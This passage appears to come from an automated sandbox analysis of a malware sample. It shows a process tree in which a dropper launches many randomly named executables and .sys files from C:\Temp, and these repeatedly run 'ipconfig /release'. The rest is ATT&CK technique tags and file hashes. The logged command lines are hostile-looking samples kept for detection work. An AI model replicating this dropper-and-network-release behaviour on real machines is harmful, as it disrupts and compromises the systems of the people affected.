    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1432
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1316
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5916
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_kidavtnlfd.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3528
- - C:\Temp\i_kidavtnlfd.exe
    C:\Temp\i_kidavtnlfd.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:6008
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\qnifausnkf.exe ups_run
  2⤵
  PID:6108
- - C:\Temp\qnifausnkf.exe
    C:\Temp\qnifausnkf.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5852
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3444
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4536
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_qnifausnkf.exe ups_ins
  2⤵
  PID:4800
- - C:\Temp\i_qnifausnkf.exe
    C:\Temp\i_qnifausnkf.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1324
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\hfcavsnkfd.exe ups_run
  2⤵
  PID:4292
- - C:\Temp\hfcavsnkfd.exe
    C:\Temp\hfcavsnkfd.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5632
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:5020
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:944
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_hfcavsnkfd.exe ups_ins
  2⤵
  PID:4100
- - C:\Temp\i_hfcavsnkfd.exe
    C:\Temp\i_hfcavsnkfd.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4508
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ausmkecxup.exe ups_run
  2⤵
  PID:2836
- - C:\Temp\ausmkecxup.exe
    C:\Temp\ausmkecxup.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4260
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:1564
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1576
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ausmkecxup.exe ups_ins
  2⤵
  PID:5336
- - C:\Temp\i_ausmkecxup.exe
    C:\Temp\i_ausmkecxup.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5592
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\xusmkebzxr.exe ups_run
  2⤵
  PID:4280
- - C:\Temp\xusmkebzxr.exe
    C:\Temp\xusmkebzxr.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2696
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3632
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5072
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_xusmkebzxr.exe ups_ins
  2⤵
  PID:5532
- - C:\Temp\i_xusmkebzxr.exe
    C:\Temp\i_xusmkebzxr.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4964
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\wuomgbzwrp.exe ups_run
  2⤵
  PID:1684
- - C:\Temp\wuomgbzwrp.exe
    C:\Temp\wuomgbzwrp.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2148
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:4712
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5508
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_wuomgbzwrp.exe ups_ins
  2⤵
  PID:4888
- - C:\Temp\i_wuomgbzwrp.exe
    C:\Temp\i_wuomgbzwrp.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5488
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\wuojgbztrl.exe ups_run
  2⤵
  PID:5808
- - C:\Temp\wuojgbztrl.exe
    C:\Temp\wuojgbztrl.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:716
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:2156
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3940
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_wuojgbztrl.exe ups_ins
  2⤵
  PID:5312
- - C:\Temp\i_wuojgbztrl.exe
    C:\Temp\i_wuojgbztrl.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:6096
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ljdbwtolgb.exe ups_run
  2⤵
  PID:4492
- - C:\Temp\ljdbwtolgb.exe
    C:\Temp\ljdbwtolgb.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5592
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:1844
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1920
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ljdbwtolgb.exe ups_ins
  2⤵
  PID:1580
- - C:\Temp\i_ljdbwtolgb.exe
    C:\Temp\i_ljdbwtolgb.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:668
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\gaysqlidbv.exe ups_run
  2⤵
  PID:2068
- - C:\Temp\gaysqlidbv.exe
    C:\Temp\gaysqlidbv.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5972
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3136
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1760
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_gaysqlidbv.exe ups_ins
  2⤵
  PID:5508
- - C:\Temp\i_gaysqlidbv.exe
    C:\Temp\i_gaysqlidbv.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4312
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\avsnlfdxvp.exe ups_run
  2⤵
  PID:5096
- - C:\Temp\avsnlfdxvp.exe
    C:\Temp\avsnlfdxvp.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5824
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:4824
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:944
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_avsnlfdxvp.exe ups_ins
  2⤵
  PID:4464
- - C:\Temp\i_avsnlfdxvp.exe
    C:\Temp\i_avsnlfdxvp.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:968

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3044

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:1048

C:\Temp\gdyvqoigay.sys
C:\Temp\gdyvqoigay.sys
1⤵
- Executes dropped EXE
PID:2712

C:\Temp\nlidavtnlf.sys
C:\Temp\nlidavtnlf.sys
1⤵
- Executes dropped EXE
PID:1952

C:\Temp\ifdavsqnif.sys
C:\Temp\ifdavsqnif.sys
1⤵
- Executes dropped EXE
PID:3368

C:\Temp\kicausmkfc.sys
C:\Temp\kicausmkfc.sys
1⤵
- Executes dropped EXE
PID:5124

C:\Temp\xusmkhfcxu.sys
C:\Temp\xusmkhfcxu.sys
1⤵
- Executes dropped EXE
PID:4592

C:\Temp\eczurmkecw.sys
C:\Temp\eczurmkecw.sys
1⤵
- Executes dropped EXE
PID:3928

C:\Temp\wurmjebzwu.sys
C:\Temp\wurmjebzwu.sys
1⤵
- Executes dropped EXE
PID:5808

C:\Temp\ojhbztrojg.sys
C:\Temp\ojhbztrojg.sys
1⤵
- Executes dropped EXE
PID:2092

C:\Temp\tqljdbvtnl.sys
C:\Temp\tqljdbvtnl.sys
1⤵
- Executes dropped EXE
PID:5000

C:\Temp\vsnlidavtn.sys
C:\Temp\vsnlidavtn.sys
1⤵
PID:1728

C:\Temp\kicauspnkf.sys
C:\Temp\kicauspnkf.sys
1⤵
PID:1536

C:\Temp\zxupmkfcxu.sys
C:\Temp\zxupmkfcxu.sys
1⤵
PID:3268

C:\Temp\zxrpmhfzxu.sys
C:\Temp\zxrpmhfzxu.sys
1⤵
PID:5420

C:\Temp\keczurmkec.sys
C:\Temp\keczurmkec.sys
1⤵
PID:5936

C:\Temp\bztrljecwu.sys
C:\Temp\bztrljecwu.sys
1⤵
PID:4112

C:\Temp\tolgdbwtom.sys
C:\Temp\tolgdbwtom.sys
1⤵
PID:3256

C:\Temp\bytnlidayw.sys
C:\Temp\bytnlidayw.sys
1⤵
PID:5936

C:\Temp\idbvtnlfdx.sys
C:\Temp\idbvtnlfdx.sys
1⤵
PID:4992

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

CP.exe

Path C:\Temp\CP.exe
Size 4KB
SHA256 50b00a0816849edcc24eec9cfdd5443dbf33409ae05ee84202bfbcd00094485a
MD5 00d08d31f0ca0be125aa8ddb1c068a26
SHA1 c5e5cf5c0cb8a03c9146f5cd923cd620417eb75e
SHA512 6b5fe5899aa47239b53bc8dbd5ce6d9616ed2b0480fe55c34c27d6956f792a9c0796fe0dcd8949395284c3f5c59563efe333cc3e4e449fa9e9b7c219c88242a3
SSDEEP 48:i+HOtYCgTU534sKXG5BrBfdQSBe2nLB8JsU:fOWS3tpJ5un
TLSH
T11B912E2301A68472C8BD8FF711875AC9FABB51349322210C4BF70ED6EB70AB7446CB08
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fdxsmkicau.exe

Path C:\Temp\fdxsmkicau.exe
Size 230KB
SHA256 2ce06e8cef6817ac7ba3cc106bc12022bd90e1258fbf04c46d05eb162d0fef04
MD5 92d219222ac3edb5fccfc6f94840d01e
SHA1 14c70e828fed40c527ebf6b9e8746b33980851d4
SHA512 9a177f3bf1ff8f14879af4910d0d68f74a7a6c542d76d2b15d30252225f28c93db27784df5f55db9ad5231044511493524a67ba3867bd7123e9beb97ce70af8a
SSDEEP 3072:gJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkQI9:gghLQ0sQmpcF8BzXfwVfQI
TLSH
T1C6344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gdyvqoigay.sys

Path C:\Temp\gdyvqoigay.sys
Size 141KB
SHA256 dd7fc0fe88764a34aaff6ed06f283db6aab4b14af7acc5a1cd3c1faaf8076714
MD5 703fd50d52c32e9417c06bc901dcd4ba
SHA1 478d4b93daf6044483210363bce3ee440e63c90c
SHA512 4f6b419d3965e6bcf435b5b5a4ee81fcdd576125a0da22d6b91be03b1e38f4c0fa2b549733c36f32d7f3bf266ff5fd2e53aceb49ad99ecb059b256df249bb108
SSDEEP 3072:ssQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:ssQmpcF8BzXfwV
TLSH
T1BAE38D02B2D1D172E8A618BC106AC72196BE79304F76D9C3FB950BAD5E683D0B93531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_fdxsmkicau.exe

Path C:\Temp\i_fdxsmkicau.exe
Size 230KB
SHA256 c003b08ff55dba255a8b867a33da0e0815bcfef316ed511f5039f6e14e519025
MD5 fa97ef78a882dd468534517edf306586
SHA1 f51c72e17c57c8f2d697d8476565d3f752e4ae10
SHA512 3613ebbc864f25ab2987b6cd70d8f029cabdf59508f6b2246da86020c2a6df78358adf4c2f50090b4a4772aadcbe63d77320034e523c06c28f49442119db2135
SSDEEP 3072:RJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkQI9:RghLQ0sQmpcF8BzXfwVfQI
TLSH
T154344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_icausmkhfd.exe

Path C:\Temp\i_icausmkhfd.exe
Size 230KB
SHA256 df203d0e5aea6ba1b4d5e39f2a07b9c307ac114cf41542cb391e3436f7405a37
MD5 02aea0978a03e0f640b55d79342c7fbc
SHA1 b7407c0e7b996e6ca407bc5cba2ed0720c4f883d
SHA512 f7e1884af9dae29477bd5ff6a792b3c62cdb042e3df229df44217e66bae3e0ff7da9a33fc677a25b22a12c62b9024e0c064fbb4bdce3814c635066cff722da2e
SSDEEP 3072:1JWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkQI9:1ghLQ0sQmpcF8BzXfwVfQI
TLSH
T1EF344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_lfdavtnlfd.exe

Path C:\Temp\i_lfdavtnlfd.exe
Size 230KB
SHA256 324c9c60a25ae772e96fd42838e3f9def43ef834339cf9645f4aa1a0e378ae37
MD5 7942d6563bd48b948fdc27fa7e0d8d8f
SHA1 0efe890e3997659ef76de1ef93e1303e06f51aef
SHA512 cee870d9edd54dec12ab57a9b9311da42b686931eac890b3e466f8925569708a1da4657b1e4d1437390405048d29ab125746d86196715dd165319616ef33b236
SSDEEP 3072:JJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkQI9:JghLQ0sQmpcF8BzXfwVfQI
TLSH
T156344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_qomgbytrld.exe

Path C:\Temp\i_qomgbytrld.exe
Size 230KB
SHA256 7227952d71f0b61622a385f86161fe278b3bd3124217bd793c55ca1b9f731f8f
MD5 d8d4959d97c6074a05b0e81b29c98469
SHA1 568432010e0b0cc761f48e901593ba009c1f648c
SHA512 1c08b846abbba8f5d6aca67e6744865123df85759ac97eb553221b836a21e0ac6a688b1ed201fe7f4ef8db35ffd251a04933daeaf9fa819ca4f57ccfff7cfd0c
SSDEEP 3072:EJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkQI9:EghLQ0sQmpcF8BzXfwVfQI
TLSH
T147344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_ysqoidbvtq.exe

Path C:\Temp\i_ysqoidbvtq.exe
Size 230KB
SHA256 b583872d4cc5eb7ead3404597ff3682d2fa2f244a688ab4b94dd6ea8d546884d
MD5 a3566a136f9bbdedf27894e537017966
SHA1 a5d4dc1c480fefa046214a4d4105093986221716
SHA512 8bd1b589d07e3e28c94c47a1fd183813d4a340346b48bea77395ee0230138369de52532060dd73a6f831048b73b1fd337a2892cc52703826d82d1c5e43a99339
SSDEEP 3072:SJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkQI9:SghLQ0sQmpcF8BzXfwVfQI
TLSH
T123344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

icausmkhfd.exe

Path C:\Temp\icausmkhfd.exe
Size 230KB
SHA256 d92dc6c7aa077a8f3ee0d615ba462beed473768dc8f51d361e04e5447ee11e82
MD5 915118ab662f23c55a73c4ed9b346a01
SHA1 1bf565de70fdf5918a2cf324dc4eee75ad457598
SHA512 d79f6723fbac03ae37091e9b89ab63172160407e74880ff9467e7f4cdc7a37af24b5b48ca4cb2e93cc630692bf26868475920ef2240949ecc8f8c48318ab17de
SSDEEP 3072:VJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkQI9:VghLQ0sQmpcF8BzXfwVfQI
TLSH
T1BE344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ifdavsqnif.sys

Path C:\Temp\ifdavsqnif.sys
Size 141KB
SHA256 78f018cf3998784ac897f106f42ed689e0955c627d561b250b5cc41c6f2a0cc9
MD5 80f7477bdc2ddcea0af710b03b5b5f64
SHA1 b11b086eab5ed36d0ffa564131ddc8f58eb281ad
SHA512 420c795fe36adec3ac7a6ad780f90d55cbc1660ec101b6b24e14e38bcad02bf2b5c0a9181607f99364e8dc0ac7e0687ff4dc3e31391d587927b3fc06f2ca2c11
SSDEEP 3072:+sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:+sQmpcF8BzXfwV
TLSH
T1F3E38D12B2D1D172E8A618BC106AC72196BE79304F76D9C3FB950BAD5E683D0B83531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

kicausmkfc.sys

Path C:\Temp\kicausmkfc.sys
Size 141KB
SHA256 28d83d9ad608c37d37c22904f84364bbb0423c2cc074d5ec86571aa00c6f68b2
MD5 b0e88176c3b5364ec22d47b030009e4a
SHA1 6a94aafca0ba4f1ea4d614540625308bf4ce533e
SHA512 f7bc113a8f142cf089f17e9ab76ca7b58cabadd2f799a9ea2c5bb912891b17b5aad322ff437751a506d0dd91d3c81ff7692f09089c25b25239c76182aeea6317
SSDEEP 3072:HsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:HsQmpcF8BzXfwV
TLSH
T1A1E38D12B2D1D172E8A618BC106AC72196BE79304F76D9C3FB950BAD5E683D0B83531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lfdavtnlfd.exe

Path C:\Temp\lfdavtnlfd.exe
Size 230KB
SHA256 4485028aebb03e2d3561294b25ae88830f93301d8ba9a9ab6418e1966a2d2750
MD5 1de271ca58e664a0839aebbc31779a61
SHA1 05c6b5894faa7130f02c312a8b56e33233f2a3f6
SHA512 140d815a9c06a2c915364657e5b543d8a324c8180ed4172b6d12e6851095d8acbeaab8e97f69dd1e096be4af73d1b1b57a6c6233067c7083d376a076e8c6da7f
SSDEEP 3072:7JWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkQI9:7ghLQ0sQmpcF8BzXfwVfQI
TLSH
T19C344A1272808071E7550B78046AE7A14A7E7D344BA5E68FF7A43F7A5E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nlidavtnlf.sys

Path C:\Temp\nlidavtnlf.sys
Size 141KB
SHA256 f1ac9807ca0ea9f97768a9e3a3fa570f188bc0f54679b6820b35965a9862d87d
MD5 951e6b740b5b84c198fa37012f735e1e
SHA1 618683e1e1c18bea768e561fed4882275d3a22eb
SHA512 9ad324003c645692df173de58e8f17d295dfc08c0fa8b574a383b8ccee906729ba6bfe2f7011a970a8c77701f16837b09b43ba882fe9d425807a6d506281db6d
SSDEEP 3072:UsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:UsQmpcF8BzXfwV
TLSH
T1F2E38D12B2D19172E8A618BC106AC72196BE79304F76D9C3FB950BAD5E683D0B83531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qomgbytrld.exe

Path C:\Temp\qomgbytrld.exe
Size 230KB
SHA256 6fd34ba2097935349285872047d7b4d008a57eee68f9a812cfb124b824cda211
MD5 7f85d345e49eebcda8e3d1ada4d16b3f
SHA1 7be73968a95079bf5fd3ddca4bd388e5a686c86f
SHA512 1c76d94c861219c10221d8714fc47117def9e50e6e4d4651ac30018faf76be49fc60e504607ae899d3a560318a8bcebe981abd67596d42bb60bb57fd6910f5d5
SSDEEP 3072:RJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkQI9:RghLQ0sQmpcF8BzXfwVfQI
TLSH
T19D344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xusmkhfcxu.sys

Path C:\Temp\xusmkhfcxu.sys
Size 141KB
SHA256 da72a791398ebac61d1767420b93d0cb4f9e239d4d662320e5bb302c81477f35
MD5 be013ce4766c09e018f011835c83d1e4
SHA1 cb3dec02afd39d9ef52c4fb581a2368dd56e5533
SHA512 bdd4b3752d6172dda12e6730ef92f9facadd6f0b8f68b9d1fa4e21e2dae1ea3089b325876cbf7ecb808e9ff2a2dbd59931009f13cf7d2aa196ba9c53aefa4e86
SSDEEP 3072:TsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:TsQmpcF8BzXfwV
TLSH
T12BE38D12B2D1D172E8A618BC106AC72196BE79304F76D9C3FB940BAD5E683D0B93531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ysqoidbvtq.exe

Path C:\Temp\ysqoidbvtq.exe
Size 230KB
SHA256 a089bee0289825d04471ac6ca0bde5ae9bc85b0fc0e73fc056b47f035eb98958
MD5 7ad1d8be2c3e13cc2759016c4fea37ba
SHA1 b167814c5b55d0da130c1730cf3725e196b482b5
SHA512 8c7efaf3a2cc9496d1952c9c8b8db7f237c875b033def5d2048563be80d5dfb2ef2b94a83c84877b960bba958382b91bd254f8845d267d0cfdea75dc094e2ba9
SSDEEP 3072:vJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkQI9:vghLQ0sQmpcF8BzXfwVfQI
TLSH
T184344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zxupmkecxu.exe

Path C:\Temp\zxupmkecxu.exe
Size 230KB
SHA256 e8a149a50085431ae7d5e3d9c695e091c935c9cabd49ba9698546c78a7c068e3
MD5 df7a8cb5f71a898000554608414fb0c6
SHA1 d28474f3b14fa0b8ff315ab44216eb860654ba40
SHA512 cfb052b4b4735e8e9c9e9f690f2aa4b6c1b8ef23379dc54859e0b336d4d64879e30502f061eca3ca44b100d212ab5576595827befbbf3ccf9baf837173715ddc
SSDEEP 3072:XJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkQI9:XghLQ0sQmpcF8BzXfwVfQI
TLSH
T169344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 ac1b1f93ff87eb876027f4166d705375c0f5d3d22dcb03f6a66f6100e88dd10f
MD5 b99f03c5cfe71b03836f8b5fcf09425b
SHA1 8a5078499c0b5ea40183efb77f9c1028c196409c
SHA512 6b9feec4ead7bf05f67d0d480907e21a3b770d8d12dedd2b0d785904186eac7448583e61abacb23582948de55c8ea2043bfd6908efd7faecdd82cee91404cfe6
TLSH
T16DD02BE037909D18C440353163D0122091006C30880923090100A02C8D3E2C3054F0BE
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 c95a47aec5edba88214fad580cb869417b6620a91d8ee97e2d0b7801d3372be5
MD5 aad5f2ca0dd16bb2ea6c7757ea569c50
SHA1 5228b0b132542be004ea1bb32f3748964d065af5
SHA512 9d59c0291d741bd9d6cf50c22972d4baef00e7c1a48d6a3311a6cc82c04ceeba6e2be9458334cb954878915cc9eb91a8fd8bc4a47c966d57a2a05d6ee8211640
TLSH
T1D4D09BE177A19D18C545353567D1522591416D31451927194241E13D9D7E2C3455F0AA
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 2KB
SHA256 3b12d9b2e8810af5f2a12b88d048fe8f5fa967ca9289c59faccf81278816d095
MD5 5fc1ac0aba903ff75c92880659b0f413
SHA1 b1c23b6e2694463cfcbdc75bed251a4ad88183a6
SHA512 584fb303dfc24776a649366eed1fc54e5596d0412e51ff75279bdeb86de423df565501d1e3743d841893ee3980ead8ebe22bc35da0d6b9f93a82e4c5c2bea084
TLSH
T1834180125BB2CAD6DBA244F693D367A9B2F4C4080E27AE30C258AC302582FE771C001B
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 0c17aa4d53170843a29b84ea98727a30db2c3ca2db82876c5c73f12af3b244aa
MD5 e6b3845d14a64e2e8533c9d1e521c4bd
SHA1 c3f2d75e1b906ffa92ded6267577f40092994e86
SHA512 0f9f449a548cab82859ae57c51c35ed7407bb10b02d21b5b670b5eee5f3655d9714f70c4e950569f1e4207c663e74f1d2688a59737df2254dc325307df007079
TLSH
T10C51AEF3C2E8856E891156F0AB18AE1BCE1D0954832C3D5AC9E4EF1B93E3471D141A5F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

